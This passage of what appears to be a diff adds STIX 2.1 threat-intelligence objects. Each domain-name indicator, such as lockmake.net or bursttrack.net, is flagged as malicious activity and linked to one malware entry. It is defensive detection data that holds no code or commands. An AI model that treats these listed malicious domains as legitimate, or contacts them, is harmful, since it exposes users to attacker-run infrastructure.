"malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b5b83295-3b6c-4880-89ba-640feb797cd4", + "created": "2023-03-29T12:58:43.628613Z", + "modified": "2023-03-29T12:58:43.628613Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lockmake.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.628613Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85eccaca-8fbe-44bf-a597-8aa8c9276a70", + "created": "2023-03-29T12:58:43.629218Z", + "modified": "2023-03-29T12:58:43.629218Z", + "relationship_type": "indicates", + "source_ref": "indicator--b5b83295-3b6c-4880-89ba-640feb797cd4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--31c85943-8a00-479d-90db-4e031d7d1299", + "created": "2023-03-29T12:58:43.629391Z", + "modified": "2023-03-29T12:58:43.629391Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='doodleamaretto.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.629391Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--320824e8-ee46-4117-b13c-cc2c6fc5f70f", + "created": "2023-03-29T12:58:43.630006Z", + "modified": "2023-03-29T12:58:43.630006Z", + "relationship_type": "indicates", + "source_ref": "indicator--31c85943-8a00-479d-90db-4e031d7d1299", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--277c2349-4842-4895-ae53-1d613f7573d6", + "created": "2023-03-29T12:58:43.630178Z", + "modified": "2023-03-29T12:58:43.630178Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cilantrobriar.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.630178Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--520ec2a8-ac98-4b56-a0c5-d43ade76f10c", + "created": "2023-03-29T12:58:43.630781Z", + "modified": "2023-03-29T12:58:43.630781Z", + "relationship_type": "indicates", + "source_ref": "indicator--277c2349-4842-4895-ae53-1d613f7573d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed513604-00f2-4735-80dd-c610e0117562", + "created": "2023-03-29T12:58:43.630955Z", + "modified": "2023-03-29T12:58:43.630955Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spencerpinole.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.630955Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--337bf801-e42c-4993-97bf-f7f161f959e6", + "created": "2023-03-29T12:58:43.631552Z", + "modified": "2023-03-29T12:58:43.631552Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed513604-00f2-4735-80dd-c610e0117562", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4642cb0d-8148-406e-96ed-632e522495d2", + "created": "2023-03-29T12:58:43.631722Z", + "modified": "2023-03-29T12:58:43.631722Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ravingstaring.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.631722Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--107bb1c9-dd61-44fd-86dd-bb84a3d833d2", + "created": "2023-03-29T12:58:43.632336Z", + "modified": "2023-03-29T12:58:43.632336Z", + "relationship_type": "indicates", + "source_ref": "indicator--4642cb0d-8148-406e-96ed-632e522495d2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93cfbe50-0be2-4baa-915c-9d70d9905a0c", + "created": "2023-03-29T12:58:43.632509Z", + "modified": "2023-03-29T12:58:43.632509Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='olivetrembling.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.632509Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ca4d2055-c7c5-401b-8bab-f926e22b6ee7", + "created": "2023-03-29T12:58:43.633117Z", + "modified": "2023-03-29T12:58:43.633117Z", + "relationship_type": "indicates", + "source_ref": "indicator--93cfbe50-0be2-4baa-915c-9d70d9905a0c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fd43fd6-5b5c-429e-82dd-e81689bd48f6", + "created": "2023-03-29T12:58:43.633288Z", + "modified": "2023-03-29T12:58:43.633288Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='serakaycharts.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.633288Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd60c789-5379-491a-b73f-b8ae1c3461d0", + "created": "2023-03-29T12:58:43.634009Z", + "modified": "2023-03-29T12:58:43.634009Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fd43fd6-5b5c-429e-82dd-e81689bd48f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf2bc904-dd88-40a0-bcae-794a88971661", + "created": "2023-03-29T12:58:43.634186Z", + "modified": "2023-03-29T12:58:43.634186Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dreamilysaffron.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.634186Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--340546c5-0cee-4159-87fa-8066ca410517", + "created": "2023-03-29T12:58:43.634793Z", + "modified": "2023-03-29T12:58:43.634793Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf2bc904-dd88-40a0-bcae-794a88971661", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d2cc422-720c-45e0-bb87-1a2a5c19d347", + "created": "2023-03-29T12:58:43.634964Z", + "modified": "2023-03-29T12:58:43.634964Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unwittingblinked.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.634964Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--033f97c3-d9c9-4e9d-96f1-bdae964b45c6", + "created": "2023-03-29T12:58:43.635567Z", + "modified": "2023-03-29T12:58:43.635567Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d2cc422-720c-45e0-bb87-1a2a5c19d347", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b6fa79d-24fd-4310-bbc9-ad3bf60f49b3", + "created": "2023-03-29T12:58:43.635738Z", + "modified": "2023-03-29T12:58:43.635738Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linkhutyellow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.635738Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b019e12-c27e-4386-bd83-18e1a3ee71d2", + "created": "2023-03-29T12:58:43.63634Z", + "modified": "2023-03-29T12:58:43.63634Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b6fa79d-24fd-4310-bbc9-ad3bf60f49b3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0879e22b-08e3-4433-b979-bc0ab1b0564e", + "created": "2023-03-29T12:58:43.636511Z", + "modified": "2023-03-29T12:58:43.636511Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='padlockfolders.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.636511Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea1542eb-1dbb-4429-b11d-ec86e0668ec9", + "created": "2023-03-29T12:58:43.637117Z", + "modified": "2023-03-29T12:58:43.637117Z", + "relationship_type": "indicates", + "source_ref": "indicator--0879e22b-08e3-4433-b979-bc0ab1b0564e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4edbca16-f664-497d-b17a-54c507417de3", + "created": "2023-03-29T12:58:43.637288Z", + "modified": "2023-03-29T12:58:43.637288Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='troutpastrami.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.637288Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57decb49-b0df-4be9-85e0-0b5a9f3e4d7a", + "created": "2023-03-29T12:58:43.637895Z", + "modified": "2023-03-29T12:58:43.637895Z", + "relationship_type": "indicates", + "source_ref": "indicator--4edbca16-f664-497d-b17a-54c507417de3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a09d0fa0-833c-411d-b810-8a80048f037e", + "created": "2023-03-29T12:58:43.638066Z", + "modified": "2023-03-29T12:58:43.638066Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='staplingquarterly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.638066Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b981c2fb-836a-4820-9ed2-6c92905bd93c", + "created": "2023-03-29T12:58:43.638676Z", + "modified": "2023-03-29T12:58:43.638676Z", + "relationship_type": "indicates", + "source_ref": "indicator--a09d0fa0-833c-411d-b810-8a80048f037e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f908c879-7ad6-438e-931a-6d06d93869f0", + "created": "2023-03-29T12:58:43.638847Z", + "modified": "2023-03-29T12:58:43.638847Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gentileheaviness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.638847Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0a094f0c-4b2d-4a6c-83da-4468c03b2911", + "created": "2023-03-29T12:58:43.639454Z", + "modified": "2023-03-29T12:58:43.639454Z", + "relationship_type": "indicates", + "source_ref": "indicator--f908c879-7ad6-438e-931a-6d06d93869f0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4909de3d-6494-4fa0-a8d8-146bcf46a186", + "created": "2023-03-29T12:58:43.639624Z", + "modified": "2023-03-29T12:58:43.639624Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='emitbooting.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.639624Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0eb3237-6405-4a72-9051-6eeddf3fb0df", + "created": "2023-03-29T12:58:43.640228Z", + "modified": "2023-03-29T12:58:43.640228Z", + "relationship_type": "indicates", + "source_ref": "indicator--4909de3d-6494-4fa0-a8d8-146bcf46a186", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--52975297-9220-41b0-ab90-f444d43b800b", + "created": "2023-03-29T12:58:43.640411Z", + "modified": "2023-03-29T12:58:43.640411Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='threadmushroom.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.640411Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ae75fb7-b610-4173-b41d-9bd3bf8592ba", + "created": "2023-03-29T12:58:43.641163Z", + "modified": "2023-03-29T12:58:43.641163Z", + "relationship_type": "indicates", + "source_ref": "indicator--52975297-9220-41b0-ab90-f444d43b800b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63d51abb-09c4-4c2c-b95b-b4d1da575c47", + "created": "2023-03-29T12:58:43.641344Z", + "modified": "2023-03-29T12:58:43.641344Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='engravingamperage.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.641344Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf637f10-0bba-46d3-8f28-c9071863a71e", + "created": "2023-03-29T12:58:43.641966Z", + "modified": "2023-03-29T12:58:43.641966Z", + "relationship_type": "indicates", + "source_ref": "indicator--63d51abb-09c4-4c2c-b95b-b4d1da575c47", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ade3041-cda3-4537-a63f-f831fc850614", + "created": "2023-03-29T12:58:43.642139Z", + "modified": "2023-03-29T12:58:43.642139Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='contentlysandbank.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.642139Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f0dbf9d-f26d-4e15-9a20-5d3c8e5ee820", + "created": "2023-03-29T12:58:43.642762Z", + "modified": "2023-03-29T12:58:43.642762Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ade3041-cda3-4537-a63f-f831fc850614", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22d0b979-574a-4a18-9fa1-e78872ede45b", + "created": "2023-03-29T12:58:43.642935Z", + "modified": "2023-03-29T12:58:43.642935Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='movablerosy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.642935Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f40402e-1d9d-4664-a79a-23e16d869afb", + "created": "2023-03-29T12:58:43.643578Z", + "modified": "2023-03-29T12:58:43.643578Z", + "relationship_type": "indicates", + "source_ref": "indicator--22d0b979-574a-4a18-9fa1-e78872ede45b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d683e385-68cd-4c0f-b6b5-629fbe8aeb79", + "created": "2023-03-29T12:58:43.643753Z", + "modified": "2023-03-29T12:58:43.643753Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='watchconsent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.643753Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8297e4a5-c790-4452-afe0-882db072c083", + "created": "2023-03-29T12:58:43.644354Z", + "modified": "2023-03-29T12:58:43.644354Z", + "relationship_type": "indicates", + "source_ref": "indicator--d683e385-68cd-4c0f-b6b5-629fbe8aeb79", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93c289b3-3ae6-4ee0-9623-db4d284f4058", + "created": "2023-03-29T12:58:43.644525Z", + "modified": "2023-03-29T12:58:43.644525Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bullringsnide.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.644525Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eca206d8-627a-4989-80b3-e7cf8a30592b", + "created": "2023-03-29T12:58:43.645123Z", + "modified": "2023-03-29T12:58:43.645123Z", + "relationship_type": "indicates", + "source_ref": "indicator--93c289b3-3ae6-4ee0-9623-db4d284f4058", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07804c17-46f2-4624-84b5-b8d43b57e1ba", + "created": "2023-03-29T12:58:43.645293Z", + "modified": "2023-03-29T12:58:43.645293Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sloppilynag.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.645293Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--afda80b5-ae18-4941-b79b-7694e4463288", + "created": "2023-03-29T12:58:43.645899Z", + "modified": "2023-03-29T12:58:43.645899Z", + "relationship_type": "indicates", + "source_ref": "indicator--07804c17-46f2-4624-84b5-b8d43b57e1ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--34cebb94-c360-44d2-9868-f3bf517cd529", + "created": "2023-03-29T12:58:43.646069Z", + "modified": "2023-03-29T12:58:43.646069Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boatunmatched.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.646069Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--66f08c81-1e28-44a0-8ef1-2472ea97dfc7", + "created": "2023-03-29T12:58:43.646672Z", + "modified": "2023-03-29T12:58:43.646672Z", + "relationship_type": "indicates", + "source_ref": "indicator--34cebb94-c360-44d2-9868-f3bf517cd529", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24246ce2-4f4c-4ec8-8412-3db691be1a36", + "created": "2023-03-29T12:58:43.646843Z", + "modified": "2023-03-29T12:58:43.646843Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='knickersbucked.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.646843Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4418f4ab-86b6-4b2d-802b-c4f31afbb15b", + "created": "2023-03-29T12:58:43.647453Z", + "modified": "2023-03-29T12:58:43.647453Z", + "relationship_type": "indicates", + "source_ref": "indicator--24246ce2-4f4c-4ec8-8412-3db691be1a36", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--64f5dff3-2459-4b16-8a26-5aa651037b91", + "created": "2023-03-29T12:58:43.647626Z", + "modified": "2023-03-29T12:58:43.647626Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='antennaereanalyze.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.647626Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--87edaed3-a60c-4643-95bf-fa2f7f84c7e3", + "created": "2023-03-29T12:58:43.648589Z", + "modified": "2023-03-29T12:58:43.648589Z", + "relationship_type": "indicates", + "source_ref": "indicator--64f5dff3-2459-4b16-8a26-5aa651037b91", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9ae55e6-4274-4bbf-b57a-f40886d39628", + "created": "2023-03-29T12:58:43.648764Z", + "modified": "2023-03-29T12:58:43.648764Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boastingresurrect.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.648764Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7b6c07f-3524-4437-8a0d-83d8eae28419", + "created": "2023-03-29T12:58:43.649376Z", + "modified": "2023-03-29T12:58:43.649376Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9ae55e6-4274-4bbf-b57a-f40886d39628", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53bad7db-34cd-42ad-9ac4-4ac6c29fb1da", + "created": "2023-03-29T12:58:43.649553Z", + "modified": "2023-03-29T12:58:43.649553Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='leasepull.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.649553Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ad0fccc3-0824-48e4-839c-b51901f03937", + "created": "2023-03-29T12:58:43.650152Z", + "modified": "2023-03-29T12:58:43.650152Z", + "relationship_type": "indicates", + "source_ref": "indicator--53bad7db-34cd-42ad-9ac4-4ac6c29fb1da", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4197a727-7e7f-48b1-8f85-74eb225a6279", + "created": "2023-03-29T12:58:43.650323Z", + "modified": "2023-03-29T12:58:43.650323Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paternroad.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.650323Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--afa06f89-7936-46dd-8129-90a490457545", + "created": "2023-03-29T12:58:43.650935Z", + "modified": "2023-03-29T12:58:43.650935Z", + "relationship_type": "indicates", + "source_ref": "indicator--4197a727-7e7f-48b1-8f85-74eb225a6279", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f9d9fe55-bc77-40af-9074-1f060d17c038", + "created": "2023-03-29T12:58:43.651107Z", + "modified": "2023-03-29T12:58:43.651107Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='setupbonelike.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.651107Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d708c9c6-b63f-4508-8963-ac4274188a7f", + "created": "2023-03-29T12:58:43.651709Z", + "modified": "2023-03-29T12:58:43.651709Z", + "relationship_type": "indicates", + "source_ref": "indicator--f9d9fe55-bc77-40af-9074-1f060d17c038", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25cbd0b3-c3dc-4325-8644-8dd2dbb91dbc", + "created": "2023-03-29T12:58:43.651879Z", + "modified": "2023-03-29T12:58:43.651879Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unluckilywharf.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.651879Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65cb9691-9cee-43d9-8a73-ec6eb9fdcc90", + "created": "2023-03-29T12:58:43.652481Z", + "modified": "2023-03-29T12:58:43.652481Z", + "relationship_type": "indicates", + "source_ref": "indicator--25cbd0b3-c3dc-4325-8644-8dd2dbb91dbc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a9ffbb2b-8b34-4080-997a-f601744a173c", + "created": "2023-03-29T12:58:43.652656Z", + "modified": "2023-03-29T12:58:43.652656Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nebulademotion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.652656Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b2be42a-4876-478d-827d-fd116a0830d9", + "created": "2023-03-29T12:58:43.653258Z", + "modified": "2023-03-29T12:58:43.653258Z", + "relationship_type": "indicates", + "source_ref": "indicator--a9ffbb2b-8b34-4080-997a-f601744a173c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4fc39a3e-9505-43fc-8174-21f142145813", + "created": "2023-03-29T12:58:43.653428Z", + "modified": "2023-03-29T12:58:43.653428Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dyslexiccartload.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.653428Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9b4541c8-f82a-4170-8bc9-eed682128eb9", + "created": "2023-03-29T12:58:43.654053Z", + "modified": "2023-03-29T12:58:43.654053Z", + "relationship_type": "indicates", + "source_ref": "indicator--4fc39a3e-9505-43fc-8174-21f142145813", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--76753d49-22b3-4396-abe9-823564380836", + "created": "2023-03-29T12:58:43.654226Z", + "modified": "2023-03-29T12:58:43.654226Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jauntturret.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.654226Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--21f65836-41ce-48e6-bc2f-771efda6fc77", + "created": "2023-03-29T12:58:43.654823Z", + "modified": "2023-03-29T12:58:43.654823Z", + "relationship_type": "indicates", + "source_ref": "indicator--76753d49-22b3-4396-abe9-823564380836", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--416d03be-61c6-412f-9df7-f37eb05ab05a", + "created": "2023-03-29T12:58:43.654995Z", + "modified": "2023-03-29T12:58:43.654995Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scanningdraw.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.654995Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86338f55-e067-4f15-b541-a4406ab6eee5", + "created": "2023-03-29T12:58:43.655606Z", + "modified": "2023-03-29T12:58:43.655606Z", + "relationship_type": "indicates", + "source_ref": "indicator--416d03be-61c6-412f-9df7-f37eb05ab05a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ef902ff-0121-444a-839b-451e6cd87ecd", + "created": "2023-03-29T12:58:43.655777Z", + "modified": "2023-03-29T12:58:43.655777Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='agreeablyboxcar.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.655777Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bbf068a3-af22-4be0-82ca-d420e9e91bce", + "created": "2023-03-29T12:58:43.664371Z", + "modified": "2023-03-29T12:58:43.664371Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ef902ff-0121-444a-839b-451e6cd87ecd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66eda40c-9511-4051-b669-b81926600a75", + "created": "2023-03-29T12:58:43.664597Z", + "modified": "2023-03-29T12:58:43.664597Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='barricadelunchroom.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.664597Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22638955-3a47-4a94-808c-ff0675cd15b7", + "created": "2023-03-29T12:58:43.665269Z", + "modified": "2023-03-29T12:58:43.665269Z", + "relationship_type": "indicates", + "source_ref": "indicator--66eda40c-9511-4051-b669-b81926600a75", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da8db3ef-8ec5-4683-8ed5-9809cc3aad96", + "created": "2023-03-29T12:58:43.665452Z", + "modified": "2023-03-29T12:58:43.665452Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bursttrack.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.665452Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--375d797b-e218-41d6-81f8-49e90845cc7f", + "created": "2023-03-29T12:58:43.666123Z", + "modified": "2023-03-29T12:58:43.666123Z", + "relationship_type": "indicates", + "source_ref": "indicator--da8db3ef-8ec5-4683-8ed5-9809cc3aad96", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + 